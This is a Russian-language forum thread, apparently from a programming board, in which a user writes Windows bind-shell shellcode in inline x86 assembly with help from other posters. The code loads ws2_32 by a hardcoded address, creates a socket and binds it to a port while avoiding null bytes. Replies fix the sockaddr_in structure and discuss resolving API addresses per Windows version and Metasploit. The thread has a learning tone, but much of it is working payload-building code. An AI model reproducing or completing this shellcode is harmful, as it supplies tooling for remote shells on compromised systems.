Всем здравствуйте! По ходу составления шеллкода у меня возник ряд вопросов, как передавать параметры функции bind() и нужно ли предварительно описывать структуру sockaddr_in? Собственно сам шеллкод(ну, его начало): #include <windows.h> int main(void) { __asm { _start: //LoadLibraryA("ws2_32") mov eax, 0x793B05CF //адрес LoadLibraryA в Win2000 xor edx,edx mov dx,0x3233 //23 push edx push 0x5f327377 //_2sw push esp call eax //вызов, в eax возвращает адрес ws2_32 mov ebx,eax //WSAStartup(0x101,&wsa) add ax, 0xd7f5 //смещение от ws2_32 функции WSAStartup xor edx,edx mov dx,400 sub esp, edx push esp xor edx,edx mov dx,0x101 push edx call eax // s=WSASocketA(2,1,0,0,0,0) mov bx,0xc963 //смещение функции WSASocketA xor ecx,ecx push ecx push ecx push ecx push ecx push 1 push 2 call ebx xchg eax, ebx //возвращает номер сокета в eax } }
ну можешь сделать примерно так же, как у тебя это с первой функцией сделано: поэлементно засунь в стек свою структуру чреез push (заодно и заполнишь ее), сохрани указатель в каком-нибудь регистре (например, mov edx,esp), потом передай параметры к функции (тот же push) П.С.: мой учитель по экстрасенсорике подсказывает, что волею судьбы тебе в руки попал исходник, но ты ни в зуб ногой в программировании и пытаешься как-то найти способ немножко его подправить, но не знаешь, как бы об этом повежливей попросить...
Это правда! я просто хочу разобраться как это все работает. теоретически у меня это в голове тоже вертиться, а вот практически реализовать не могу, можешь подсказать какую нибудь литературу по асму, именно для работы со стеком?
а вот получилось!: //функция бинд mov eax,0x74fc361b //адрес функции в ws2_32.dll push 0x100007f //IP адрес 127.0.0.1 push 0x3930 //порт 12345 mov ecx,esp //сохраненеие указателя push byte 0x10 //длина структуры push ecx push ebx call eax только почему то функция вернула -1
во-первых, да, ты передаешь только 2 поля, заполняя структуру, но сам же указал, что ее размер 16 байт (sin_family забыл передать). Во-вторых, у тебя точно в ebx хендл сокета?
да я понял, вот так правильно 100%: //bind xor eax,eax push eax //INADDR_ANY mov edx,0xad110102 //0xad11 порт=4525 + 0x0102 AF_INET = 2 dec dh push edx mov ecx,esp xor eax,eax mov al,0x10 push eax push ecx push ebx mov eax,0x74fc361b call eax да в ebx номер сокета
"Техника взлома: сокеты, эксплойты, shеllкод" отличная книга кстати (; Твой вопрос там тоже затрагивается. Зы.: С примерами и в картиках
Мда.... Перенесено в бегинерс. ТС, разберись вначале с WinSock. На васме есть хорошие статьи по сетям.
Функции socket bind listen и accept работают, всех благодарю за дискуссию, вопрос решен, тему можно закрывать.
vadak Вам необходимо востановить API функции по хешам или crc (найти адресса API) так как на каждой версии винды разные адреса API - шек Посмотрите вот сдесь http://projectshellcode.com/node/23 тут примерно все доходчиво написано
это может быть невозможно по двум причинам: 1) код должен быть минимальным 2) не должно быть 0 вообще. А хеши имен как раз и могут содержать нулевые байты
984259h Спасибо за информацию! А что если создать такой набор шелл кодов, ну как набор отмычек, и при сканировании системы уже ясно будет какой код применять Вот еще инфа по шелл коду: http://www.samag.ru/cgi-bin/go.pl?q=articles;n=09.2003;a=11
vadak ы. Только в реале не таскают все 100500 шеллкодов. А есть так сказать TargetPlatform. И небольшие проверки по версии. Но если вы про подготовку шеллкода на вашей машине, то уже такие базы созданы. Тот же Metasploit Framework.